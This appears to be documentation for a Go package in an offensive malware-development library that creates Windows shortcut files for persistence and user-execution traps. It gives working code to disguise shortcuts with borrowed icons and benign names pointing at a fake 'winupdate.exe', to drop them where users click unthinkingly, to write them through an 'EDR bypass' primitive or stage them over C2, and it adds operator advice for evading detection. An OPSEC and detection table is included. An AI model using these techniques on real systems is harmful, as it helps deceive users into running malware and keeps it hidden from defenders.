LNK shortcut creation

← persistence index · docs/index

TL;DR

Create Windows .lnk shortcut files via COM/OLE automation. Fluent builder with three sinks: Save(path) (disk via WScript.Shell), BuildBytes() (raw bytes, zero-disk via IShellLinkW + IPersistStream::Save on an HGLOBAL-backed IStream), and WriteTo(io.Writer) (same zero-disk path, streamed to any operator-controlled writer). Used as the primitive for persistence/startup, and standalone for T1204.002 user-execution traps (Desktop / Quick Launch / Documents drops). Windows-only.

Primer

LNK files are the Windows shell's canonical "double-click to launch" artefact. They carry a target path, optional arguments, working directory, an icon resource, and a window-style hint. Windows Explorer renders them as their target's icon; the user sees a familiar app and clicks.

The COM/OLE path (WScript.Shell.CreateShortcut) is the same surface PowerShell's WScript.Shell ComObject uses. It produces a fully-formed shell link with no shellbag side-effects and no shortcut-file footer Microsoft signs as part of the SmartScreen Mark-of-the-Web pipeline — unlike a downloaded .lnk, this one carries no MOTW.

How It Works

sequenceDiagram
    participant Caller
    participant COM as "STA apartment"
    participant Shell as "WScript.Shell"
    participant Link as "IWshShortcut"

    Caller->>COM: CoInitializeEx STA
    Caller->>Shell: CoCreateInstance WScript.Shell
    Caller->>Shell: CreateShortcut path
    Shell-->>Link: IWshShortcut dispatch
    Caller->>Link: PutProperty TargetPath, Arguments, Icon, Style, Desc, WorkDir
    Caller->>Link: Save
    Link-->>Caller: lnk on disk
    Caller->>COM: Release then CoUninitialize

The zero-disk path (BuildBytes and WriteTo) swaps the Shell automation actors for a direct IShellLinkW + IPersistStream chain:

sequenceDiagram
    participant Caller
    participant COM as "STA apartment"
    participant Link as "IShellLinkW"
    participant PS as "IPersistStream"
    participant Stream as "IStream on HGLOBAL"

    Caller->>COM: CoInitializeEx STA
    Caller->>Link: CoCreateInstance CLSID_ShellLink
    Caller->>Link: SetPath, SetArguments, SetIconLocation, SetShowCmd, SetHotkey
    Caller->>Link: QueryInterface IID_IPersistStream
    Link-->>PS: IPersistStream pointer
    Caller->>Stream: CreateStreamOnHGlobal NULL TRUE
    Caller->>PS: Save Stream TRUE
    PS-->>Stream: bytes written into HGLOBAL
    Caller->>Stream: GetHGlobalFromStream and GlobalLock
    Stream-->>Caller: byte slice
    Caller->>Stream: Release
    Caller->>PS: Release
    Caller->>Link: Release
    Caller->>COM: CoUninitialize

The builder runs runtime.LockOSThread because COM apartments are per-thread. Every call to Save tears the apartment down so the package leaves no apartment state behind. All COM resources are released even on the error path.

For BuildBytes / WriteTo, the path swaps WScript.Shell for a direct CoCreateInstance(CLSID_ShellLink, IID_IShellLinkW), configures the shortcut via raw vtable calls (SetPath, SetArguments, SetWorkingDirectory, SetDescription, SetIconLocation, SetShowCmd), then QueryInterface-s for IPersistStream and calls Save(stream) against an IStream created by CreateStreamOnHGlobal(NULL, fDeleteOnRelease=TRUE). Bytes are extracted from the underlying HGLOBAL via GetHGlobalFromStream / GlobalLock before the stream — and thus the HGLOBAL — is released. No filesystem call is made at any point.

API Reference

SymbolDescription
type ShortcutBuilder; chained setters return *Shortcut
New() *ShortcutFresh builder
(*Shortcut).SetTargetPath(string)Required — the launched binary
(*Shortcut).SetArguments(string)Command-line passed to target
(*Shortcut).SetWorkingDir(string)CWD for the launched process
(*Shortcut).SetDescription(string)Tooltip text
(*Shortcut).SetIconLocation(string)Icon donor ("path,index" packing — "shell32.dll,3")
(*Shortcut).SetHotkey(string)Keyboard shortcut ("Ctrl+Alt+T")
(*Shortcut).SetWindowStyle(WindowStyle)StyleNormal / StyleMaximized / StyleMinimized
(*Shortcut).Save(path string) errorPersist to path (disk, via WScript.Shell)
(*Shortcut).BuildBytes() ([]byte, error)Serialise to raw bytes — zero-disk (IShellLinkW + IPersistStream + HGLOBAL IStream)
(*Shortcut).WriteTo(w io.Writer) (int64, error)Same zero-disk path, streamed to any io.Writer
(*Shortcut).WriteVia(creator stealthopen.Creator, path string) errorBuild bytes in memory, then land them on disk via the operator-supplied stealthopen.Creator. nil falls back to os.Create

type WindowStyle int

ValueManifest
StyleNormal1 — default visible window
StyleMaximized3 — full-screen
StyleMinimized7 — minimised to taskbar (typical for stealthy auto-launch)

Examples

Simple — Desktop launcher

import "github.com/oioio-space/maldev/persistence/lnk"

_ = lnk.New().
    SetTargetPath(`C:\Windows\System32\cmd.exe`).
    SetArguments("/c whoami").
    SetWindowStyle(lnk.StyleMinimized).
    Save(`C:\Users\Public\Desktop\link.lnk`)

Composed — donor icon + minimised

Use notepad.exe's icon and a benign description so Explorer renders the shortcut indistinguishably from a real notepad launcher.

_ = lnk.New().
    SetTargetPath(`C:\ProgramData\Microsoft\winupdate.exe`).
    SetArguments("--update").
    SetIconLocation(`C:\Windows\System32\notepad.exe,0`).
    SetDescription("Notes").
    SetWindowStyle(lnk.StyleMinimized).
    Save(`C:\Users\Public\Desktop\Notes.lnk`)

Advanced — Quick Launch user-execution trap

Drop into Quick Launch where a freshly logged-on user is most likely to click without inspection.

import (
    "os"
    "path/filepath"

    "github.com/oioio-space/maldev/persistence/lnk"
)

appData := os.Getenv("APPDATA")
qLaunch := filepath.Join(appData,
    `Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar`)

_ = lnk.New().
    SetTargetPath(`C:\ProgramData\Microsoft\winupdate.exe`).
    SetIconLocation(`C:\Windows\System32\mmc.exe,0`).
    SetDescription("Computer Management").
    SetWindowStyle(lnk.StyleNormal).
    Save(filepath.Join(qLaunch, "Computer Management.lnk"))

Stealth landing — bytes through an operator-controlled Creator

WriteVia keeps the in-memory build (BuildBytes) and then routes the final write through any stealthopen.Creator — transactional NTFS, encrypted-stream wrapper, alternate data stream, raw NtCreateFile, etc. Same composition story as stealthopen.Opener for read paths.

import (
    "github.com/oioio-space/maldev/evasion/stealthopen"
    "github.com/oioio-space/maldev/persistence/lnk"
)

// Operator's anti-EDR write primitive (their package, their Open/Close).
var creator stealthopen.Creator = myEDRBypassCreator{}

_ = lnk.New().
    SetTargetPath(`C:\Windows\System32\cmd.exe`).
    SetWindowStyle(lnk.StyleMinimized).
    WriteVia(creator, `C:\Users\Public\Desktop\Notes.lnk`)

// nil creator falls back to os.Create — drop-in replacement for Save:
_ = lnk.New().
    SetTargetPath(`C:\Windows\System32\cmd.exe`).
    WriteVia(nil, `C:\Users\Public\Desktop\Notes.lnk`)

Zero-disk — bytes for C2 staging

Build the LNK fully in memory via IShellLinkW + IPersistStream::Save on an HGLOBAL-backed IStream. No file is opened, created, or read on disk at any point — useful when the operator wants to encrypt/transport/embed the artefact through their own write primitive.

import (
    "bytes"

    "github.com/oioio-space/maldev/persistence/lnk"
)

raw, err := lnk.New().
    SetTargetPath(`C:\Windows\System32\cmd.exe`).
    SetArguments("/c whoami").
    SetWindowStyle(lnk.StyleMinimized).
    BuildBytes()
if err != nil {
    return err
}
// `raw` is a fully-formed LNK byte stream, ready for embedding,
// encryption, or transport over a C2 channel.

// Or stream directly into any io.Writer (encrypted ADS, in-memory
// mount, custom anti-EDR Opener, …).
var buf bytes.Buffer
if _, err := lnk.New().
    SetTargetPath(`C:\Windows\System32\cmd.exe`).
    WriteTo(&buf); err != nil {
    return err
}

See ExampleNew.

OPSEC & Detection

ArtefactWhere defenders look
LNK file written outside StartUp foldersGenerally noise — every Office install creates LNKs
LNK file written inside StartUp foldersPath-scoped EDR rules (Defender, MDE) — high-fidelity
LNK file with mismatched icon vs targetMature EDR cross-checks IconLocation PE vs TargetPath PE
LNK pointing at user-writable / temp pathsDefender heuristic — system shortcuts target System32, not %TEMP%
WScript.Shell COM call from non-script processETW Microsoft-Windows-WMI-Activity / similar; rare in non-script processes
MOTW absence on a downloaded LNKSmartScreen / Get-Item ... -Stream Zone.Identifier

D3FEND counters:

  • D3-FCA — LNK header structure analysis; well-known parser libraries flag suspicious target/icon mismatches.
  • D3-UA — track user-execution chains.

Hardening for the operator:

  • Match IconLocation to a PE consistent with the displayed description.
  • For startup persistence, prefer persistence/startup which wraps lnk with the right paths.
  • Don't drop in %TEMP% / %APPDATA%\Local\Temp — those paths draw default rules.
  • For user-execution traps, use a name + icon a real user would not double-take (Documents folder, with their actual recent-doc names).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1547.009Boot or Logon Autostart Execution: Shortcut Modificationfull — LNK creation primitiveD3-FCA
T1204.002User Execution: Malicious Filepartial — produces the LNK; user click is out-of-bandD3-UA

Limitations

  • Windows-only. No cross-platform stub — calls are guarded by //go:build windows.
  • COM apartment overhead. runtime.LockOSThread is held for the duration of every sink (Save, BuildBytes, WriteTo); high-frequency LNK creation paths benefit from batching builders behind a single COM init.
  • Zero-disk path is amd64-only in practice. BuildBytes / WriteTo use raw COM vtable calls via syscall.SyscallN and rely on the Windows x64 ABI — the calls compile under GOARCH=386 but argument passing for IShellLinkW setters has not been verified on 32-bit. Treat 64-bit Windows as the supported target.
  • Custom LinkFlags / EXTRA_DATA_BLOCKs. Callers needing fields neither IWshShortcut nor IShellLinkW expose (custom flags, signed property store entries, console block tweaks) still need a separate parser / writer — neither sink reaches past those interfaces.
  • No LNK reading. This package writes only; reading existing LNKs requires a separate parser.
  • Save and BuildBytes are NOT byte-identical. WScript.Shell.IWshShortcut.Save(path) auto-computes RELATIVE_PATH from its path argument (used by the Windows shell as a fallback resolver if the absolute target moves). BuildBytes runs IPersistStream::Save against an in-memory IStream — no path reference is available, so the HasRelativePath flag stays clear and the corresponding StringData block is omitted (~50–100 bytes shorter output). Operators that need byte-equivalence under forensic comparison must either use Save or extend the builder with a typed SetRelativePath accessor (backlog item). Verified by TestBuildBytes_DivergesFromSave_OnRelativePath against the Windows10 VM target (commit dde3f5c..).
  • MOTW absent. Locally-created LNKs carry no Zone.Identifier ADS — useful for the operator, but a forensic tell when correlating LNKs against download history.
  • Hotkey parser scope. Both sinks honour SetHotkey. The BuildBytes path translates the WSH string ("Ctrl+Alt+T", "Shift+F1", "Alt+1") into the packed WORD form (HOTKEYF_* << 8 | VK_*) expected by IShellLinkW::SetHotkey. Recognised modifiers: Ctrl/Control, Alt, Shift, Ext. Recognised keys: A–Z, 0–9, F1–F24. Anything else (numpad, OEM, multimedia VKs) is silently dropped — extend parseHotkey if needed.

See also